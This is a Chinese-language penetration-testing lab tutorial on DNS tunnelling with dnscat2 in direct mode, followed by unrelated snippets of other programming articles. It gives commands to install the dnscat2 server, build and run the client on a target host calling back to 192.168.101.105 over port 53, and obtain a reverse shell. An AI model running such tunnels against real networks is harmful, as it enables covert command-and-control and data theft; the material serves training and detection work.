网络安全内网渗透之DNS隧道实验--dnscat2直连模式

news/2025/3/14 0:59:33/

目录

一、DNS隧道攻击原理

二、DNS隧道工具

(一)安装dnscat2服务端

(二)启动服务器端

(三)在目标机器上安装客户端

(四)反弹shell


一、DNS隧道攻击原理

        在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。入股哦在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是--返回的可以是任意字符串,包括加密的C&C指令。

二、DNS隧道工具

        Dnscat2是一款开源软件,它使用DNS协议创建加密的C&C通信,通过预共享密钥进行身份验证;使用shell及DNS查询类型(A、AAAA、TXT、CNAME、MX),多个同时进行的会话类似SSH中的隧道。Dnscat2的客户端使用C语言编写的,服务端是用Ruby语言编写的。

        使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。

        直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求;

        中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢。

        如果内网放行所有的DNS请求,dnscat2会使用直连模式,通过UDP的53端口进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询)。在请求日志中,所有的域名都是以“dnscat”开头的,因此防火墙可以很容易地将直连模式的通信检测出来。

        如果内网中的请求仅限于白名单服务器或者特定的域,dnscat2会使用中继模式来申请一个域名,并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。

        本章实验以直连模式为测试模式。

(一)安装dnscat2服务端

        dnscat2使用ubuntu系统,安装命令如下:

​
apt-get install -y gemapt-get install -y ruby-dev(注意安装的时候系统崩了,重启后使用命令dpkg --configure -a)apt-get install -y libpq-devapt-get install -y ruby-bundlergit clone https://github.com/iagox86/dnscat2.gitcd dnscat2/serverbundle install

(二)启动服务器端

ruby dnscat2.rb

(三)在目标机器上安装客户端

​git clone https://github.com/iagox86/dnscat2.git

        不能在线git clone的话,使用其他方式上传到目标主机。

cd dnscat2/client/make./dnscat --dns server=192.168.101.105,port=53 --secret=9fb91ae03a857d46bd2c9b19ea9ef13a

        结果如下:

        服务端结果如下:

(四)反弹shell

        使用windows查看可以连接的会话

        window -i 1连接到会话1

        help查看命令

        shell命令执行后,创建window 4

        使用window -i 4进入交互会话,ifconfig可以看到被控主机的IP是192.168.101.106,也就是dnscat客户端主机的IP地址


http://www.ppmy.cn/news/1126431.html

相关文章

如何使用php提取文章中的关键词?PHP使用Analysis中英文分词提取关键词

1、下载Analysis&#xff0c;创建test.php测试 2、引入Analysis实现中文分词 <?php include "./Analysis/Analysis.php";$annew \WordAnalysis\Analysis(); $content"机器学习是一门重要的技术&#xff0c;可以用于数据分析和模式识别。"; //10分词数…

跨域问题的原理及解决方法

一.同源策略 如果没有进行特殊处理&#xff0c;我们在进行前后端联调的时候游览器会发生报错&#xff1a; 这是因为请求被同源策略被阻止&#xff0c;浏览器出于安全的考虑&#xff0c;使用XMLHttpRequest对象发起HTTP请求&#xff08;异步请求&#xff09;时必须遵守同源策略…

代码随想录算法训练营第四十二天 | 动态规划 part 4 | 01背包问题(二维、一维滚动数组)、416. 分割等和子集

目录 01背包问题 二维代码 01背包问题&#xff08;一维滚动数组&#xff09;代码 416. 分割等和子集思路代码 01背包问题 二维 背包问题汇总&#xff1a; 二维数组dp——01背包五部曲 dp[i][j]表示从下标为[0-i]的物品里面任意取&#xff0c;放进容量为j的背包&#xff0c;价值…

配置pytorchGPU虚拟环境-python3.7

cuda版本的pytorch包下载地址戳这里 winR->输入cmd->输nvcc -V回车 cuda 11.0 输入以下命令来查找 CUDA 的安装路径&#xff1a; Windows: where nvcc 输入以下命令来查找 cuDNN 的版本号&#xff1a; Windows: where cudnn* cuDNN 8.0 本机安装的是cuda 11.0&…

企业如何寻找可替代serv-u的国产文件传输系统?

serv-u是一款基于FTP协议的文件传输软件&#xff0c;它可以在Windows和Linux平台上运行&#xff0c;支持FTP、FTPS、SFTP、HTTP和HTTPS等多种传输协议&#xff0c;提供了图形化的管理界面和丰富的配置选项&#xff0c;可以满足不同用户的文件传输需求。但随着企业对于文件传输的…

SpringBoot之文件上传(单文件与多文件上传的使用)

文章目录 前言文件上传总结 前言 SpringBoot的单文件、多文件上传。 文件上传 页面代码/static/form/form_layouts.html <form role"form" th:action"{/upload}" method"post" enctype"multipart/form-data"><div class&q…

numpy的基础操作

numpy 创建:array import numpy as np anp.([[1,2,3],[4,6,2]]) anp.([[3,4,5]],dtypenp.int)#说明是int型的元素类型&#xff0c;默认是64位&#xff0c;或者可以dtypenp.float anp.zeros((3,4))#创建三行四列的零矩阵 anp.ones((3,4))dtype可以规定创建的数据类型即可创建二…

Linux入门教程||Shell echo命令||Shell printf 命令

Shell 的 echo 指令与 PHP 的 echo 指令类似&#xff0c;都是用于字符串的输出。命令格式&#xff1a; echo string您可以使用echo实现更复杂的输出格式控制。 1.显示普通字符串: echo "It is a test"这里的双引号完全可以省略&#xff0c;以下命令与上面实例效果一…